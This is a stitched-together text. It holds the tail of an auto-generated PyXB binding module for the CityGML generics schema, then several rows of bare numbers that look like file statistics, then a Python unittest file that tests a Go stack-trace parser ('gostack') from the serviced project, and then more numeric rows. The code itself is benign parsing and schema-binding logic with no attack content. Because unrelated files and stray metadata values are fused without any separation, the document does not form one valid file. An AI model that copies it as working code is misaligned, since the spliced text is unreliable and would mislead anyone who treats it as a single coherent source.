transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_16, False) ])) st_16._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_17, True) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_17, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_17, False) ])) st_17._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_18, True) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_18, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_18, False) ])) st_18._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_19, True) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_19, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_19, False) ])) st_19._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_20, True) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_20, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_20, False) ])) st_20._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_21, True) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_21, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_21, False) ])) st_21._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_22, True) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_22, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_22, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_22, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_22, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_22, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_22, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_22, False) ])) st_22._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_23, True) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_23, False) ])) st_23._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_24, True) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_24, False) ])) st_24._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_25, True) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_25, False) ])) st_25._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_26, True) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_26, False) ])) st_26._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_27, True) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_27, False) ])) st_27._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_28, True) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_28, False) ])) st_28._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_29, True) ])) st_29._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) GenericCityObjectType._Automaton = _BuildAutomaton() StringAttributeType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), pyxb.binding.datatypes.string, scope=StringAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 83, 5))) def _BuildAutomaton_ (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_ del _BuildAutomaton_ import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(StringAttributeType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 83, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) StringAttributeType._Automaton = _BuildAutomaton_() IntAttributeType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), pyxb.binding.datatypes.integer, scope=IntAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 98, 5))) def _BuildAutomaton_2 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_2 del _BuildAutomaton_2 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(IntAttributeType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 98, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) IntAttributeType._Automaton = _BuildAutomaton_2() DoubleAttributeType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), pyxb.binding.datatypes.double, scope=DoubleAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 113, 5))) def _BuildAutomaton_3 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_3 del _BuildAutomaton_3 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(DoubleAttributeType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 113, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) DoubleAttributeType._Automaton = _BuildAutomaton_3() DateAttributeType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), pyxb.binding.datatypes.date, scope=DateAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 128, 5))) def _BuildAutomaton_4 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_4 del _BuildAutomaton_4 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(DateAttributeType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 128, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) DateAttributeType._Automaton = _BuildAutomaton_4() UriAttributeType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), pyxb.binding.datatypes.anyURI, scope=UriAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 143, 5))) def _BuildAutomaton_5 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_5 del _BuildAutomaton_5 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(UriAttributeType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 143, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) UriAttributeType._Automaton = _BuildAutomaton_5() MeasureAttributeType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), teaser.data.bindings.opengis.raw.gml.MeasureType, scope=MeasureAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 158, 5))) def _BuildAutomaton_6 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_6 del _BuildAutomaton_6 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(MeasureAttributeType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 158, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) MeasureAttributeType._Automaton = _BuildAutomaton_6() GenericAttributeSetType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, '_genericAttribute'), AbstractGenericAttributeType, abstract=pyxb.binding.datatypes.boolean(1), scope=GenericAttributeSetType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 73, 1))) def _BuildAutomaton_7 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_7 del _BuildAutomaton_7 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(GenericAttributeSetType._UseForTag(pyxb.namespace.ExpandedName(Namespace, '_genericAttribute')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 175, 5)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) GenericAttributeSetType._Automaton = _BuildAutomaton_7() GenericCityObject._setSubstitutionGroup(teaser.data.bindings.opengis.citygml.raw.base.CityObject) genericAttribute._setSubstitutionGroup(teaser.data.bindings.opengis.citygml.raw.base.GenericApplicationPropertyOfCityObject) stringAttribute._setSubstitutionGroup(genericAttribute) intAttribute._setSubstitutionGroup(genericAttribute) doubleAttribute._setSubstitutionGroup(genericAttribute) dateAttribute._setSubstitutionGroup(genericAttribute) uriAttribute._setSubstitutionGroup(genericAttribute) measureAttribute._setSubstitutionGroup(genericAttribute) genericAttributeSet._setSubstitutionGroup(genericAttribute)
59.900555
435
0.748835
13,949
118,663
6.19772
0.033981
0.114514
0.125966
0.161708
0.8447
0.825707
0.820421
0.816476
0.768542
0.702945
0
0.030597
0.124967
118,663
1,980
436
59.930808
0.802001
0.084871
0
0.694789
1
0.086228
0.156274
0.143657
0
0
0
0
0
1
0.006203
false
0
0.012407
0
0.103598
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
e63702e305aaa0d9aeb4a1ba7e204d5f40c2970f
15,318
py
Python
tools/gostacktool/gostack/tests/test_stackframe.py
spindance/serviced-precomp
bde852ff31ddabf29080656b0b7e83abcf3e2555
[ "Apache-2.0" ]
89
2015-01-31T23:03:01.000Z
2022-01-19T14:09:48.000Z
tools/gostacktool/gostack/tests/test_stackframe.py
spindance/serviced-precomp
bde852ff31ddabf29080656b0b7e83abcf3e2555
[ "Apache-2.0" ]
720
2015-01-06T17:16:36.000Z
2022-03-02T03:19:38.000Z
tools/gostacktool/gostack/tests/test_stackframe.py
spindance/serviced-precomp
bde852ff31ddabf29080656b0b7e83abcf3e2555
[ "Apache-2.0" ]
23
2015-02-25T19:16:11.000Z
2022-02-01T16:06:05.000Z
# coding: latin-1 # Copyright 2015 The Serviced Authors. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest import gostack class BaseTestCase(unittest.TestCase): def setUp(self): self.stackframe = gostack.StackFrame() class EqualityBaseTestCase(BaseTestCase): def setUp(self): super(EqualityBaseTestCase, self).setUp() self.stackframe2 = gostack.StackFrame() #------------------------------------------- # Function line # # Formats: # github.com/fsouza/go-dockerclient.func·008(0xc20808a7e0, 0xc2080b0210) # github.com/control-center/serviced/cli/api.(*daemon).run(0xc2080f0180, 0x0, 0x0) # created by os/signal.init·1 class StackFrame_Function_GoodWithoutObjectPointer(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/fsouza/go-dockerclient.func·008(0xc20808a7e0, 0xc2080b0210)') self.assertEqual(self.stackframe.function, 'github.com/fsouza/go-dockerclient.func·008') self.assertFalse(self.stackframe.iscreatedby) expectedArgs = ['0xc20808a7e0', '0xc2080b0210'] self.assertEqual(self.stackframe.args, expectedArgs) self.assertEqual(len(warnings), 0) class StackFrame_Function_GoodWithObjectPointer(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/cli/api.(*daemon).run(0xc2080f0180, 0x0, 0x0)') self.assertEqual(self.stackframe.function, 'github.com/control-center/serviced/cli/api.(*daemon).run') self.assertFalse(self.stackframe.iscreatedby) expectedArgs = ['0xc2080f0180', '0x0', '0x0'] self.assertEqual(self.stackframe.args, expectedArgs) self.assertEqual(len(warnings), 0) class StackFrame_Function_GoodEmptyArgList(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('schedule()') self.assertEqual(self.stackframe.function, 'schedule') self.assertFalse(self.stackframe.iscreatedby) self.assertEqual(len(self.stackframe.args), 0) self.assertEqual(len(warnings), 0) class StackFrame_Function_GoodGoFunctionNumber(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('created by os/signal.init·1') self.assertEqual(self.stackframe.function, 'os/signal.init·1') self.assertTrue(self.stackframe.iscreatedby) self.assertEqual(len(self.stackframe.args), 0) self.assertEqual(len(warnings), 0) class StackFrame_Function_BadNoArgListNoObjectPointer(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): self.stackframe.parseFunctionLine('os/signal.loop') class StackFrame_Function_BadNoArgListWithObjectPointer(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): self.stackframe.parseFunctionLine('github.com/control-center/serviced/cli/api.(*daemon).run') class StackFrame_Function_BadMultiLine(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): # No end paren, as if split over multiple lines self.stackframe.parseFunctionLine('github.com/control-center/serviced/cli/api.(*daemon).run(0xc2080f0180, 0x0,') class StackFrame_Function_WarnExtraFields(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): self.stackframe.parseFunctionLine('github.com/control-center/serviced/cli/api.(*daemon).run(0xc2080f0180, 0x0, 0x0) half-done') #------------------------------------------- # File line # # Format: # /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go:306 +0xb13 class StackFrame_FileGood(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go:306 +0xb13') self.assertEquals(self.stackframe.filename, '/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go') self.assertEquals(self.stackframe.linenum, 306) self.assertEquals(self.stackframe.offset, '+0xb13') self.assertEquals(len(warnings), 0) class StackFrame_FileGoodNoOffset(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go:306') self.assertEquals(self.stackframe.filename, '/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go') self.assertEquals(self.stackframe.linenum, 306) self.assertEquals(self.stackframe.offset, '') self.assertEquals(len(warnings), 0) class StackFrame_File_BadJustFilename(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): self.stackframe.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go') class StackFrame_File_BadNoLineNumber(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): self.stackframe.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go +0x612') class StackFrame_File_BadNoFilename(BaseTestCase): def runTest(self): with self.assertRaises(gostack.ParseError): self.stackframe.parseFileLine(':306 +0xb13') class StackFrame_File_WarnExtraFields(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go:306 +0xb13 and more') self.assertEquals(self.stackframe.filename, '/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/cli/api/daemon.go') self.assertEquals(self.stackframe.linenum, 306) self.assertEquals(self.stackframe.offset, '+0xb13') self.assertEquals(len(warnings), 1) self.assertTrue(warnings[0].lower().find('extra fields')) #------------------------------------------- # Equality class StackFrame_Equality_Equal1(EqualityBaseTestCase): def runTest(self): # Fully qualified file name # Function args are different, rest is the same warnings = self.stackframe.parseFunctionLine('net.(*pollDesc).Wait(0xc208138680, 0x72, 0x0, 0x0)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /usr/local/go/src/net/fd_poll_runtime.go:84 +0x47') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('net.(*pollDesc).Wait(0xc208167f00, 0x78, 0x0, 0x0)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /usr/local/go/src/net/fd_poll_runtime.go:84 +0x47') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe == self.stackframe2) self.assertFalse(self.stackframe != self.stackframe2) class StackFrame_Equality_Equal2(EqualityBaseTestCase): def runTest(self): # Relative file name # Function args are the same warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/web.(*ServiceConfig).syncAllVhosts(0xc2081b84d0, 0xc20805af60, 0x0, 0x0)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/web/cpserver.go:378 +0x33e') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('github.com/control-center/serviced/web.(*ServiceConfig).syncAllVhosts(0xc2081b84d0, 0xc20805af60, 0x0, 0x0)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/web/cpserver.go:378 +0x33e') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe == self.stackframe2) self.assertFalse(self.stackframe != self.stackframe2) class StackFrame_Equality_Equal3(EqualityBaseTestCase): def runTest(self): # "Created by" function warnings = self.stackframe.parseFunctionLine('created by github.com/control-center/serviced/isvcs.NewIService') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/container.go:186 +0x59f') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('created by github.com/control-center/serviced/isvcs.NewIService') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine('/home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/container.go:186 +0x59f') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe == self.stackframe2) self.assertFalse(self.stackframe != self.stackframe2) class StackFrame_Equality_Equal4(EqualityBaseTestCase): def runTest(self): # goroutine function number # Function args are different, rest is the same warnings = self.stackframe.parseFunctionLine('github.com/fsouza/go-dockerclient.func·008(0xc20808a7e0, 0xc2080b0210)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/Godeps/_workspace/src/github.com/fsouza/go-dockerclient/event.go:285 +0x1b7') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('github.com/fsouza/go-dockerclient.func·008(0xffffffff, 0xeeee)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/Godeps/_workspace/src/github.com/fsouza/go-dockerclient/event.go:285 +0x1b7') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe == self.stackframe2) self.assertFalse(self.stackframe != self.stackframe2) class StackFrame_Equality_NotEqualDifferentFunctionName(EqualityBaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x9f') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loopy(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x9f') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe != self.stackframe2) self.assertFalse(self.stackframe == self.stackframe2) class StackFrame_Equality_NotEqualDifferentFilename(EqualityBaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x9f') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/agent.go:268 +0x9f') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe != self.stackframe2) self.assertFalse(self.stackframe == self.stackframe2) class StackFrame_Equality_NotEqualDifferentLinenum(EqualityBaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x9f') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:368 +0x9f') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe != self.stackframe2) self.assertFalse(self.stackframe == self.stackframe2) class StackFrame_Equality_NotEqualDifferentOffset(EqualityBaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x9f') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe2.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x99') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe != self.stackframe2) self.assertFalse(self.stackframe == self.stackframe2) class StackFrame_Equality_NotEqualToNonStackFrame(BaseTestCase): def runTest(self): warnings = self.stackframe.parseFunctionLine('github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertEquals(len(warnings), 0) warnings = self.stackframe.parseFileLine(' /home/kwalker/src/europa/src/golang/src/github.com/control-center/serviced/isvcs/manager.go:268 +0x9f') self.assertEquals(len(warnings), 0) self.assertTrue(self.stackframe != 'github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)') self.assertFalse(self.stackframe == 'github.com/control-center/serviced/isvcs.(*Manager).loop(0xc20813cc80)')
55.299639
204
0.730905
1,756
15,318
6.351936
0.126424
0.090371
0.064551
0.088757
0.845526
0.832437
0.817016
0.799713
